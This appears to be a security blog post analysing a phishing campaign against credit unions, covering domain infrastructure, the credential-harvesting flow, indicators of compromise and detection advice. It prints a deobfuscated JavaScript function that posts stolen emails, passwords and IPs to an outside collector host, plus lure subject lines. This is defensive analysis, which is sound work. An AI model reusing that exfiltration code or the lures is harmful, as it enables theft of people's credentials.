Analyzing a Real-World Phishing Campaign
Recently I came across a phishing campaign targeting small credit unions. Here's how I analyzed it, what I found, and the IOCs that came out of it.
Disclaimer: All analysis was performed on safely sandboxed systems. Domains and specific identifiers have been sanitized.
The Initial Sample
The campaign started with emails claiming to be from "Security Team" with urgent account verification requests. Classic tactics:
- Subject: "Urgent: Verify Your Account Within 24 Hours"
- Sender spoofed to look like internal IT
- Link to a convincing login page clone
Infrastructure Analysis
Domain Analysis
The phishing domain secure-creditunion-verify[.]com was registered just 48 hours before the campaign:
Domain: secure-creditunion-verify[.]com
Registrar: NameCheap
Registration: 2025-11-08
Hosting: Bulletproof hosting provider
SSL: Let's Encrypt (valid cert for legitimacy)
Passive DNS
Using PassiveTotal, I found the IP hosting this domain also hosted 12 other suspicious domains—all following similar patterns:
account-verify-secure[.]combanking-alert-notice[.]comcredential-update-portal[.]com
This indicated a larger operation, not a one-off campaign.
Kit Analysis
Deobfuscation
The phishing page used JavaScript obfuscation to hide its true functionality. After deobfuscation:
// Simplified for readability
function exfiltrate(creds) {
fetch('https://collector[.]xyz/api/grab', {
method: 'POST',
body: JSON.stringify({
email: creds.email,
password: creds.password,
ip: userIP,
timestamp: Date.now()
})
});
}
Admin Panel Discovery
The kit had an exposed admin panel at /admin/login.php (secured only by default credentials—which I did not attempt to access). The directory listing revealed:
/admin/
/logs/
/includes/
/assets/
Credential Harvesting Flow
- Victim clicks link in email
- Lands on cloned login page
- Enters credentials
- Credentials POSTed to collector server
- Victim redirected to real site (to avoid suspicion)
- Attacker receives real-time notification via Telegram bot
IOCs Extracted
Domains
secure-creditunion-verify[.]comcollector[.]xyzexfil-data[.]net
IPs
185.xxx.xxx.xxx91.xxx.xxx.xxx
Hashes
- Phishing kit ZIP:
SHA256: a1b2c3... - JavaScript loader:
SHA256: d4e5f6...
Email Indicators
- Subject pattern: "Urgent: Verify Your Account"
- Sender pattern: "security@[target-org]"
Detection Recommendations
- Email filtering — Block newly registered domains (<30 days)
- DNS monitoring — Alert on lookups to known-bad IPs
- User training — Recognize urgency tactics
- MFA everywhere — Stolen passwords become useless
Lessons Learned
- Attackers reuse infrastructure—one IOC can reveal dozens
- "Bulletproof" hosting isn't bulletproof against analysis
- Let's Encrypt makes phishing look legitimate
- Telegram is increasingly used for real-time exfil notifications
Want to learn threat analysis techniques? Contact m1k3@msquarellc.net for training options.